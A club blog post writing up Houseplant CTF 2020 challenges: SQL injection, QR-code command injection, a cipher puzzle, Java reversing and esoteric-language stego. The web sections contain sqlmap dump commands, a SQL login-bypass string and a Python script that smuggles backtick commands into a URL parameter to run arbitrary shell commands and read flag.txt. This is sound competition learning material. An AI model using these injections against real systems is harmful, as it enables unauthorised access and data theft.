Back to blog home

Houseplant 2020 Writeup

Posted on 27th April 2020

This weekend the Monash Cyber Security Club MonSec participated in the Capture the Flag competition Houseplant CTF, placing 12th overall! It was quite unusually themed - instead of the usual "1337 haxxor" aesthetic the organisers of this CTF went for a more "cute" approach, and it worked quite well. Of course, the challenges were pretty cool too. Here are some of the challenges I solved and how I went about them.

I don't like needles (web)

It becomes quickly obvious that the intended route is to perform some SQL injection. When performing SQL injections, I am rarely disappointed by the excellent sqlmap. My process is usually two-fold: trying to get an injection, and then exploiting it to dump the necessary data.

$ sqlmap --batch --forms --level 5 --risk 3 -u http://challs.houseplant.riceteacatpanda.wtf:30001/

Choosing a higher level and risk allowed sqlmap to detect a boolean based blind injection rather than just a time-based injection. --level 5 --risk 3 is often a good choice for CTFs because it can detect more sneaky injections, and you do not care about any potential damage since it is a fictional environment.

We get the list of tables with:

$ sqlmap --batch --forms --tables -u http://challs.houseplant.riceteacatpanda.wtf:30001/

Then, since there is a users table, we just dump it:

$ sqlmap --batch --forms --dump -T users -u http://challs.houseplant.riceteacatpanda.wtf:30001/

+------+-----------+------------------------------------------+
| id   | username  | password                                 |
+------+-----------+------------------------------------------+
| 1    | mrbossman | Nvbn89nXs1prcYMtFAG4MK1mgJeKaTw7Z5Uh28ig |
| 2    | flagman69 | bW4DHo6n7cWpr0y6nuKso0HOExX1Tn2Zm5PLOfu7 |
+------+-----------+------------------------------------------+

At this point, I was a bit stuck since I could not figure out how to crack the password. Luckily, I had an awesome team which helped me realise I was overthinking this challenge a lot. The provided source code clearly wanted us to log in as flagman69. So all that needed to be done was submitting flagman69' -- a in the username field. Out pops the flag: rtcp{y0u-kn0w-1-didn't-mean-it-like-th@t}

QR Generator (web)

This was a very enjoyable challenge. We are given a field to type text, which is sent to /qr?text=OUR_INPUT. If typing "good" strings (i.e. not trying to inject anything) we get a QR code that resolves to the first letter of that string. The challenge also has the hint "For some reason, my website isn't too fond of backticks...". Backticks are used for command substitution on many shells in Unix. Sure enough, trying `ls` yielded the letter R. After some trial and error, I produced the following script which allowed me to get the output of arbitrary commands, automagically with the power of pyzbar and pillow and requests:

import requests
from PIL import Image
from io import BytesIO
from pyzbar.pyzbar import decode as decodeQR

# found actual "endpoint" at /qr by reading source code
URL = 'http://challs.houseplant.riceteacatpanda.wtf:30004/qr'

def execute_command(command):
    result = ''
    latest_char = 'blah'  # somthing other than '' or '\n'
    i = 1
    while latest_char != '' and latest_char != '\n':
        # tr "\n" " " ensures everything goes onto one line
        # (to make it easy to extract)
        # cut -c from i to i simply gets character at index i (1 indexed)
        payload = f'`{command} | tr "\\n" " " | cut -c {i}-{i}`'
        r = requests.get(URL, params={'text': payload})
        qr_code = Image.open(BytesIO(r.content))
        latest_char = decodeQR(qr_code)[0].data.decode('utf-8')
        result += latest_char
        print(result)
        i += 1

#execute_command('ls')
execute_command('cat flag.txt')

Running ls we get README.md app flag.txt node_modules package.json start.sh yarn.lock, and then we can simply cat flag.txt to read the flag rtcp{fl4gz_1n_qr_c0d3s???_b1c3fea}.

11 (crypto)

This was a surprisingly challenging puzzle, but I would not say it is "crypto". We are given this script (emphasis with solution mine):

(doorbell rings)
delphine: Jess, I heard you've been stressed, you should know I'm always ready to help!
Jess: Did you make something? I'm hungry...
Delphine: Of course! Fresh from the bakery, I wanted to give you something, after all, you do so much to help me all the time!
Jess: Aww, thank you, Delphine! Wow, this bread smells good. How is the bakery?
Delphine: Lots of customers and positive reviews, all thanks to the mention in rtcp!
Jess: I am really glad it's going well! During the weekend, I will go see you guys. You know how much I really love your amazing black forest cakes.
Delphine: Well, you know that you can get a free slice anytime you want.
(doorbell rings again)
Jess: Oh, that must be Vihan, we're discussing some important details for rtcp.
Delphine: sounds good, I need to get back to the bakery!
Jess: Thank you for the bread! <3

We also get these hints:

  • I was eleven when I finished A Series of Unfortunate Events.
  • Flag is in format: rtcp{.*} add _ (underscores) in place of spaces.
  • Character names count too

Googling for "A Series of Unfortunate Events cipher" we find the Sebald Code. You simply take every 11th word, and you only consider the text between doorbell rings (as shown in bold above).

Therefore, we get the flag rtcp{I'm_hungry_give_me_bread_and_I_will_love_you}.

Breakable (reverse engineering)

This challenge involved reverse engineering some Java source code. Yeah, source code, not a compiled binary. Regardless, it proved to require quite some effort. The full source is below:

import java.util.*;

public class breakable
{
    public static void main(String args[]) {
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter flag: ");
        String userInput = scanner.next();
        String input = userInput.substring("rtcp{".length(),userInput.length()-1);
        if (check(input)) {
            System.out.println("Access granted.");
        } else {
            System.out.println("Access denied!");
        }
    }
    
    public static boolean check(String input){
        boolean h = false;
        String flag = "k33p_1t_in_pl41n";
        String theflag = "";
        int i = 0;
        if(input.length() != flag.length()){
            return false;
        }
        for(i = 0; i < flag.length()-2; i++){
            theflag += (char)((int)(flag.charAt(i)) + (int)(input.charAt(i+2)));
        }
        for(i = 2; i < flag.length(); i++){
            theflag += (char)((int)(flag.charAt(i)) + (int)(input.charAt(i-2)));
        }
        String[] flags = theflag.split("");
        for(; i < (int)((flags.length)/2); i++){
            flags[i] = Character.toString((char)((int)(flags[i].charAt(0)) + 20));
        }
        return theflag.equals("Òdݾ¤¤¾ÙàåÐcÝÆÏܦaã");
    }
}

First of all, we can realise that the last for loop has no effect on the final result as flags is not used. To get the actual flag, we need to, in essence, perform the operations in reverse i.e. by subtracting instead of adding. Due to some luck (but mostly because all the characters in the final flag have ASCII code no more than 127) we do not even need to perform % 256 to simulate byte wrap-around.

seed_string = "k33p_1t_in_pl41n"

desired_result = "\xd2\x92\x64\xdd\xbe\xa4\xa4\xbe\xd9\xe0\x8f\xe5\xd0\x93\x63\xdd\xc6\x90\xa5\xcc\xc8\xe1\x8f\xcf\xdc\xa6\x61\xe3"

print(len(desired_result))

# the comparer starts by adding each character from index 2 onwards in our input
# against the seed_string, so let's subtract (first half is 14 chars because two halves of 16 - 2 chars)

solution_2_onwards = ''
for i in range(14):
    solution_2_onwards += chr(ord(desired_result[i]) - ord(seed_string[i]))

print(solution_2_onwards)

solution_start_to_2_before = ''
for i in range(14):
    solution_start_to_2_before += chr(ord(desired_result[i + 14]) - ord(seed_string[i+2]))

print(solution_start_to_2_before)

print('final', 'rtcp{' + solution_start_to_2_before + solution_2_onwards[-2:] + '}')

Flag is rtcp{0mg_1m_s0_pr0ud_}

Ezoterik (forensics)

We are given an image with some strange text going around it. The text transcribed reads:

+[--->++<]>+++.[->++++<]>+.----.+++++++.----[->+++<]>.------------.+[----->+<]>+.+.[->+++++<]++.------------.---[->++++<]>-.----.+++..+++++++.-----[++>---<]>.

This is Brainfuck, one of the most famous esoteric programming languages. Unfortunately, evaluating this code with Brainfuck interpreter gives us a hang after spitting out some near-useless output. Using a visualiser we see that the last loop is the culprit. Anyway, the output that we do get is:

Yeah, noööòõõü

Ultimately, this turned out the be a red herring. Running the classic strings command on the image instead produced this suspicious block of text at the end:

2TLEdubBbS21p7u3AUWQpj1TB98gUrgHFAiFZmbeJ8qZFb9qCUc8Qp6o86eJYkrm2NLexkSDyRYd3X9sRCRKJzoZnDtrWZKcHPxjoRaFPHfmeUyoxyyWQtiqEgdJR1WU4ywAYqRq7o55XLUgmdit6svgviN8qy72wvLvT2eWjECbqHdrKa2WjiAEvgaGxVedY8SRXXcU9JbP5Ps3RY2ieejz6DrF9NBD7mri2wrsyDs9gpVgosxnYPbwjGdmsq7GwudbqtJ7SeKgaStmygyfPast5F3ZKL9KeC2LzCeenffoZ4d4Cna7TZdkUsfdK1HNmoB46fo9jK5ENQwnWdPmZBnZ4h8uDxHpQF74rs3wPcpmch6Byu31och1cyz8JxgXkacHpTrGeAN2bEhRp8kDQpmPtj9QqaAgxTbam9hoB4mvtrRmRx5GnzzZoWW5qDxwMvgKCYWiLwtLcvjDZPNdHGbvFspFeCq7kBcTeyrjYeHxuwwwM1GpdwMdxzNiFK1jYkA4DUZRohuKxeyhBFiY9HuwD6zKf9nZMThoYwTGhAJR2d3GqVqXGsivAKLs1oBzrmH9V6vaMwAjM7Hu69TLfKHtZUThoiEDftxPJdraNxoQps3mFamNbT1U3kRdpAz5s5kq6i2jLBUjBjAdV9N8jWNqx4RgiaHTW5qqb8E6JvHgQyrVkLmMdsjoLAWaWZLRw2pQpBJehRsx1LU6wmAC1nfeLbdQxPmytaMUURBDhHVqPNxwThCzZsnA9RuKrYWGsmyTxCzVUEjvUXaU4hkoV62qn7G1TnVRiADNhRfMnxm8R2ZoSPxEhVaFyHvLweq

Throwing that into CyberChef gives us a nice "magic wand" that detected decoding with Base58 is what we are after:

elevator lolwat
  action main
    show 114
    show 116
    show 99
    show 112
    show 123
    show 78
    show 111
    show 116
    show 32
    show 113
    show 117
    show 105
    show 116
    show 101
    show 32
    show 110
    show 111
    show 114
    show 109
    show 97
    show 108
    show 32
    show 115
    show 116
    show 101
    show 103
    show 111
    show 95
    show 52
    show 120
    show 98
    show 98
    show 52
    show 53
    show 103
    show 121
    show 116
    show 106
    show 125
  end action
  action show num
    floor num
    outFloor
  end action
end elevator

After some googling, we find the Elevator esoteric language. It has no interpreter. But, that is fine, because the above program is very trivial and simply appears to print one character at a time corresponding to the following ASCII codes:

114 116 99 112 123 78 111 116 32 113 117 105 116 101 32 110 111 114 109 97 108 32 115 116 101 103 111 95 52 120 98 98 52 53 103 121 116 106 125

Converting from decimal (again using something like CyberChef) gives us the flag rtcp{Not quite normal stego_4xbb45gytj}.

Music Lab (misc)

This was a straightforward but nice challenge. We are given a .mid file. Since MIDI is quite different from other sound formats in that it stores information about each instrument and each keypress separately, I thought that visualising it would be enough to give us the flag. Indeed, even using some online tool like this one gave us the results we wanted: rtcp{M0Z4rt_WOuld_b3_proud}

MIDI visualisation showing text rtcp{M0Z4rt_WOuld_b3_proud}